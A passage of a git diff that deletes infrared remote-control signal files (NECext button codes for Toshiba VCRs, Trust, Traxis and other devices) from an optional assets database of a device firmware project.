00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: COUNT/TR -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1F 00 00 00 -# -name: SHIFT_R -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4D 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4F 00 00 00 -# -name: SHIFT_L -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 51 00 00 00 -# -name: OSP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5C 00 00 00 -# -name: INPUT_SELECT -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 83 00 00 00 -# -name: T.SEARCH -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 85 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 96 00 00 00 -# -name: VPS -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 97 00 00 00 -# -name: INDEX_+ -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 9E 00 00 00 -# -name: INDEX_- -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 9F 00 00 00 -# -name: SAT.CONT. -type: parsed -protocol: NECext -address: 44 00 00 00 -command: BC 00 00 00 -# -name: SAT.MONI. -type: parsed -protocol: NECext -address: 44 00 00 00 -command: C0 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 44 00 00 00 -command: EF 00 00 00 -# -name: SHOWVIEW -type: parsed -protocol: NECext -address: 44 00 00 00 -command: FC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir deleted file mode 100644 index 52d3d0e73..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: Counter -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1F 00 00 00 -# -name: Shift.R -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4D 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4F 00 00 00 -# -name: Shift.L -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 51 00 00 00 -# -name: OSP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5C 00 00 00 -# -name: SP-LP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5D 00 00 00 -# -name: L.select -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5F 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 83 00 00 00 -# -name: Index+ -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 9E 00 00 00 -# -name: Index- -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 9F 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 44 00 00 00 -command: EF 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir deleted file mode 100644 index e6002ca99..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: align+ -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0E 00 00 00 -# -name: align- -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 10 00 00 00 -# -name: tvvcr -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 12 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 16 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 18 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1F 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4D 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4F 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 51 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 53 00 00 00 -# -name: immediat -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5C 00 00 00 -# -name: speed -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5D 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5F 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 96 00 00 00 -# -name: dt -type: parsed -protocol: NECext -address: 44 00 00 00 -command: D4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir deleted file mode 100644 index 367280b84..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 09 00 00 00 -# -name: intro_scan -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 0C 00 00 00 -# -name: random_play -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 10 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 13 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 14 00 00 00 -# -name: memory -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 14 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 16 00 00 00 -# -name: display -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 17 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 18 00 00 00 -# -name: rwnd -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 19 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 1A 00 00 00 -# -name: frwnd -type: parsed -protocol: NECext -address: 2A 00 00 00 -command: 1B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir deleted file mode 100644 index 3be15761c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0A 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 0D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 10 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 12 00 00 00 -# -name: FAST_FORWARD_>> -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 13 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 14 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 15 00 00 00 -# -name: CLOCK/COUNTER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 16 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 18 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1B 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 1F 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 4F 00 00 00 -# -name: A._SELECT -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 53 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5C 00 00 00 -# -name: SP/SLP -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5D 00 00 00 -# -name: I._SELECT -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 5F 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 83 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 44 00 00 00 -command: 96 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 44 00 00 00 -command: EF 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 44 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir deleted file mode 100644 index b3e27bd4e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_E -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 04 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 05 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 06 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0A 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0B 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0C 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0D 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0E 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 0F 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 12 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1A 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1D 00 00 00 -# -name: KEY_B -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 1E 00 00 00 -# -name: rwd -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 20 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 21 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 22 00 00 00 -# -name: KEY_A -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 25 00 00 00 -# -name: av -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 26 00 00 00 -# -name: KEY_C -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 27 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 28 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 29 00 00 00 -# -name: KEY_D -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 2B 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 30 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 33 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 36 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 39 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3C 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir deleted file mode 100644 index 6d0acab04..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 09 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0A 00 00 00 -# -name: minmax -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0B 00 00 00 -# -name: tv/av -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0E 00 00 00 -# -name: TimeShift -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 0F 00 00 00 -# -name: arrow_right -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 10 00 00 00 -# -name: arrow_left -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 11 00 00 00 -# -name: arrow_up -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 12 00 00 00 -# -name: arrow_down -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 13 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 14 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 15 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 16 00 00 00 -# -name: Snapshot -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 17 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 18 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 1A 00 00 00 -# -name: KEY_ESC -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 1C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 1E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 1F 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 40 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 41 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 42 00 00 00 -# -name: click -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 43 00 00 00 -# -name: Shuffle -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 44 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 02 BD 00 00 -command: 45 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir deleted file mode 100644 index 82bf638fb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1C 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 24 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 25 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2D 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 33 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 34 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 35 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir deleted file mode 100644 index 8f31fcf4a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir +++ /dev/null @@ -1,260 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 09 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 0C 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 0E 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 12 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 13 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 14 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 15 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 16 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 18 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 19 00 00 00 -# -name: skipforward -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 34 0F 00 00 -command: 1E 00 00 00 -# -name: 